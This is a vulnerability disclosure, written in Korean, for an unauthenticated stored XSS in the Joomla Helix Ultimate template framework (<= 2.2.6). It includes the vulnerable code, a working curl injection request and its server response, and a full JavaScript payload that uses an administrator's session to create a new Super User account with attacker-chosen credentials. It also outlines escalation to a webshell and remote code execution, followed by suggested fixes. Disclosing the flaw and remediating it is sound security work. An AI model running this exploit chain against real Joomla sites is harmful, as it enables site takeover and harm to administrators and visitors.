
Joomla Helix Ultimate (JoomShaper) <= 2.2.6에서 인증되지 않은 저장형 XSS
본 연구 폴더에서 가장 강력한 발견입니다 — 심각, 완전히 엔드투엔드로 확인됨. helix_ultimate_delete_poc.md에 있는 삭제 전용 버그와 달리, 이것은 사이트 전체를 손상시키는 실제 작동 경로를 가지고 있습니다.
컴포넌트: JoomShaper Helix Ultimate Framework (plg_system_helixultimate + shaper_helixultimate 템플릿)
테스트한 버전: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
작성자: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate()은 표준 Joomla com_ajax 플러그인 이벤트 핸들러입니다 (index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>). Joomla의 핵심 컴포넌트 자체는 — 이는 항상 플러그인의 책임입니다. 이 핸들러는 임의의 정적 메서드 디스패치를 수행합니다:
com_ajaxpublic function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
네임스페이스는 하드코딩되어 있으므로 (HelixUltimate\Framework\HttpResponse\), 이것 자체만으로는 완전한 임의 RCE 가젯은 아닙니다. 그러나 src/HttpResponse/Response.php의 모든 public static 메서드는 인증 없이, CSRF 토큰 없이 누구나 호출할 수 있게 됩니다. 그 중 어떤 것도 Session::checkToken()이나 authorise()를 호출하지 않습니다. 이는 삭제 글에서 다룬 관리자 전용 Request/Platform 클래스와 완전히 다른 별도의 진입점입니다 — com_ajax는 그 게이트를 완전히 우회합니다.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
이것은 공격자가 제어하는 JSON을 실제 공개 Joomla 메뉴 항목의 params 열에 직접 기록합니다 — 로그인도, CSRF 토큰도 없이 단일 HTTP 요청으로 가능합니다.
overrides/mod_menu/default.php (실제 배포된 템플릿 코드)실제 배포된 shaper_helixultimate 템플릿의 html/mod_menu/default.php는 1줄짜리 심입니다:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
이는 (HTMLOverride.php를 읽어 확인된 대로) 다음으로 해석됩니다
plugins/system/helixultimate/overrides/mod_menu/default.php — 사이트의 기본 탐색 메뉴를 모든 페이지에서 모든 방문자에게 실제로 렌더링하는 파일:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — saveMegaMenuSettings()를 통해 완전히 제어할 수 있는 키 — 가 htmlspecialchars() 없이 HTML 속성에 직접 연결됩니다.
shaper_helixultimate 템플릿 + 플러그인 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
CSRF 토큰 필드가 전혀 전송되지 않았습니다 — 삭제 버그가 필요로 했던 홈페이지에서 수집한 사소한 토큰조차도 보내지 않았습니다.
결과적으로 홈페이지의 모든 이후 방문자에게 제공된 HTML:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
인증 없이 주입된, 브라우저에서 실행 가능한 <script> 태그가 사이트에서 가장 많이 방문하는 페이지(메인 내비게이션, 모듈 위치를 통해 모든 페이지에 표시됨, 홈페이지뿐만 아님)에 렌더링됩니다.
이것은 정확히 CVE-2026-48909 폴더가 원래 추적하던 시나리오이며, 완전히 다른 각도에서 도달했습니다: 인증되지 않은 저장형 XSS + 세션 라이딩 = 계정 탈취, 비밀번호를 훔치거나 설치 프로그램을 무차별 대입할 필요가 전혀 없습니다.
관리자가 /administrator에 로그인되어 있거나 최근에 로그인했던 동일한 브라우저에서 공개 사이트의 홈페이지를 열면, 관리자의 쿠키 저장소가 그대로 유지된 상태에서 공격자의 JavaScript가 실행됩니다.
개념 페이로드 (이 실험실에서는 실제 관리자 세션에 대해 실행되지 않았습니다 — 이 실험실은 실제 로그인한 관리자가 페이지를 방문하는 것을 시뮬레이션하는 브라우저 자동화가 설정되어 있지 않습니다; XSS 전달 자체는 위에서 100% 확인되었으며, 이는 잘 알려진 표준 다음 단계입니다):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
브라우저는 사이트 출처에 대해 보유한 모든 세션 쿠키를 어떤 동일 출처 요청에도 첨부하기 때문에 — JavaScript를 트리거한 탭이나 페이지와 관계없이 — 프론트엔드 페이지가 보여질 때 관리자의 백엔드 세션 쿠키가 해당 브라우저에서 유효하기만 하면 성공합니다. 이로 인해 공격자가 선택한 자격 증명으로 새로운 Super User 계정이 생성됩니다. 거기서부터: /administrator에 로그인하고, 템플릿 파일을 편집(또는 새 템플릿 설치)하여 PHP 웹쉘을 추가 → 완전한 RCE.
이것이 삭제 버그보다 더 강력한 이유: 여기에는 내용 쓰기 제한이 적용되지 않습니다 — 이 프리미티브는 파일이 아닌 데이터(DB 열에 JSON)를 쓰지만, 그 데이터는 모든 페이지 보기에서 라이브 HTML로 렌더링되며, 이는 삭제 버그가 놓친 정확히 "쓰기" 프리미티브입니다. 표준 XSS→세션 라이딩 패턴과 결합하여 삭제 버그가 할 수 없었던 순환 고리를 닫습니다.
helix_ultimate_xss_detect.py비파괴적: 무해하고 비활성인 마커 문자열(<script> 없음, 따옴표 없음)을 customclass에 기록하고 렌더링된 홈페이지 HTML에서 이스케이프되지 않고 돌아오는지 확인합니다. 이후 값을 복원/제거합니다.
helix_ultimate_xss_poc.py실제 <script> XSS 페이로드(기본값: 무해한 alert() 증명, 또는 --payload를 통한 사용자 지정 페이로드)를 선택한 메뉴 항목의 customclass에 기록하고 이스케이프되지 않고 렌더링되는지 확인한 후 위의 ATO/세션 라이딩 개념 페이로드를 출력합니다. 서면 허가를 받은 경우에만 사용하십시오 — 이는 수동으로 정리될 때까지 라이브 사이트 데이터(메뉴 항목의 저장된 레이아웃)를 수정합니다.
onAjaxHelixultimate()은 권한 검사 없이 HttpResponse\Response의 임의 메서드로 맹목적으로 디스패치해서는 안 됩니다 — 최소한 유효한 Joomla 세션 + Session::checkToken()을 요구한 후에 상태 변경 작업(메뉴 저장, 모듈 목록, 메가 메뉴 빌더 메서드)을 허용해야 합니다.overrides/mod_menu/default.php(및 helixultimatemenulayout/customclass를 읽는 다른 오버라이드)는 메뉴 항목 params에서 가져온 모든 값을 HTML 속성으로 출력하기 전에 htmlspecialchars()(또는 Joomla의 HTMLHelper::_('esc.html', ...))를 적용해야 합니다 — 심층 방어, 메뉴 params는 기술적으로 관리자 전용 데이터로 의도되었지만 여기서는 그 이상으로 접근 가능하기 때문입니다.Amin İsayev / Proxima Cyber Security — 2026. 교육 / 허가된 테스트 용도로만 사용하십시오.